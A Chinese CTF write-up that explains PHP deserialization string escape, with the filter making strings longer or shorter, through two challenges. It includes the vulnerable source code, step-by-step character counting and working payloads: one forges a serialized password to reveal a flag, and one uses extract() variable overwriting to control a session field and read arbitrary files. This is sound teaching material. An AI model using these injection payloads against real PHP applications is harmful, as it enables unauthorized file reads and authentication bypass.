这里总结一下反序列化字符串逃逸的知识点
反序列化字符串逃逸分为 被过滤后字符增多和字符减少的情况
这里就不讲之前的基础知识了 大家看其它师傅写的博客就可以了 很多师傅的文章写的都很细 现在直接就开始进入正题
现在先分析被过滤后字符串增多的情况 这里就那题来进行讲解
先看字符串增多的情况
[CTFSHOW]Web1此夜圆
给出了源代码
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
一眼顶针
思路很简单 就是让password为yu22x 就和包含flag文件然后输出flag才可以
这里把password写死了 为1
但是这里用了filter函数 是想序列化之后的东西 过滤了一下
然后才进行了反序列化 这里是把Firebasky 替换为了Firebaskyup 属于字符串增多的情况
字符串增多的情况很简单就是把 我们需要的 反序列化之后的数据 写进去 然后把后面password为1 的数据挤出来可以
先随便看一下 序列化之后的东西
我们先传入个1 方便我们更加直观的分析
O:1:"a":2:{s:5:"uname";s:1:"1";s:8:"password";i:1;}
然后现在明确思路就是想把
";s:8:"password";i:1;}
这些东西挤出去
拼接我们想要的序列化的数据
我们想要的序列化的数据就是
";s:8:"password";s:5:"yu22x";}
因为把它挤出去之后我们就要紧接着去拼接它 使它可以正常的反序列化
所以现在我们要给 我们想要拼接的序列化数据腾位置 先计算他的数量 为30
然后没过滤一次就会挤出来两个字符所以我们就可以 使它过滤十五次就可以腾出来我们想要序列化的数据的位置了
然后拼接上我们伪造的反序列化的数据
看结果更加的明显 应该是可以说恍然大悟
所以payload就为
FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
看经过过滤后的数据
O:1:"a":2:{s:5:"uname";s:165:"FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}
直接来分析过滤后的数据可能大家就能明白为什么要想上面那样做了
先来看一下
FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup
的数量为 165 正好为165
为什么为 165呢 因为
FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
然后后面就是我们拼接的数据了
;s:8:"password";s:5:"yu22x";}
我们来分析一下过滤后的数据的结构
现在 序列化之后的属性的数量为2 所以他现在就会读取 前两个属性
FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup";s:8:"password";s:5:"yu22x";}
后面的那个s:8:"password";i:1;} 就会被挤出来了
那现在打印一下反序列化之后的结果把
var_dump(unserialize('O:1:"a":2:{s:5:"uname";s:165:"FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}'));
class __PHP_Incomplete_Class#1 (3) {
public $__PHP_Incomplete_Class_Name =>
string(1) "a"
public $uname =>
string(165) "FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup"
public $password =>
string(5) "yu22x"
}
这个字符串增多的情况 挤出来的还是比较简单的
接着来看字符串减少的情况
还是用例题来解释
[安洵杯 2019]easy_serialize_php
同样给出了源代码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
首先还是分析代码
先找漏洞点把
echo file_get_contents(base64_decode($userinfo['img']));
就是读取 base64解码之后的文件读的是 $userinfo['img']
那看userinfo 是怎么来的
反序列化之后的 $serialize_info
看 serialize_info 是怎么来的
filter(serialize($_SESSION)) 序列化
$_SESSION
过滤来的
那就先看一下过滤把 把上面几个限制的字符过滤为了空 所以就是字符串减少的情况
现在就来看一下具体的SESSION是什么把
这里定义了 session user 和session function
但是呢 这里我们想要控制的是 session img
但是如果我们直接get的方式传入 img_path 的话 他就会进行 sha1 加密 导致 base64解码的时候就会产生错误 ’
所以我们不能够通过这种方式来控制 session img
就是要通过 反序列化字符串逃逸才可以
现在我们要注意 extract($_POST);可以覆盖变量
还是跟之前一样 先随便写个数据然后 方便我们观察分析
通过变量覆盖来 更改user 和function的值
_SESSION[user]=1&_SESSION[function]=2
a:3:{s:4:"user";s:1:"1";s:8:"function";s:1:"2";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
我们可以控制 1 和 2
也就是这个
_SESSION[user]=php&_SESSION[function]=2
a:3:{s:4:"user";s:3:"";s:8:"function";s:1:"2";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
让他过滤一下看看效果
所以现在的思路就是让它全部替换为空把后面的东西 当作user的变量值 然后再后面 “2”的位置 写我们想要构造的 逃逸的字符串就可以 现在 a 类的是有三个属性 所以只会接受前三个值 最后一个 固定的img 就会被忽略
现在我们先计算一下 两个可控点中间的数量
";s:8:"function";s:1:"
为 22
但是无论通过三的倍数 还是四的倍数 或者是组合起来 的 就 构成不了 22
但是 这里我们 “2“是可控的 所以这里我们可以 加上两个字符变为 24个字符 就可以 了
";s:8:"function";s:1:"22
通过 写入 六个 flag 现在看一下效果
a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"1";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
我们发现
这个长度为 24
然后后面就为 第二个属性 但是前面的属性是有三个 然后 我们这里只有两个 所以我们随便在后面添加一个属性就可以了
那我们现在输入
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";s:3:"iag";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
就会变成这个样子
a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"1";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";s:3:"iag";s:20:"Z3Vlc3RfaW1nLnBuZw==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
然后就可以进行反序列化了
因为这几个base64编码之后都是20 所以直接改文件名就可以了
总结
字符串增多的情况
就是先计算想要拼接的数据的数量 然后拼接进去 把后来的挤出去就可
字符串减少的情况 就是 计算可控前后的之间字符串的数量 然后把后面一部分序列化之后的东西全部当键值
再在后面拼接自己恶意构造的序列化之后的数据
总的来说还得考具体情况具体分析
标签:function,SESSION,序列化,img,逃逸,字符串,password,php From: https://www.cnblogs.com/kkkkl/p/16898932.html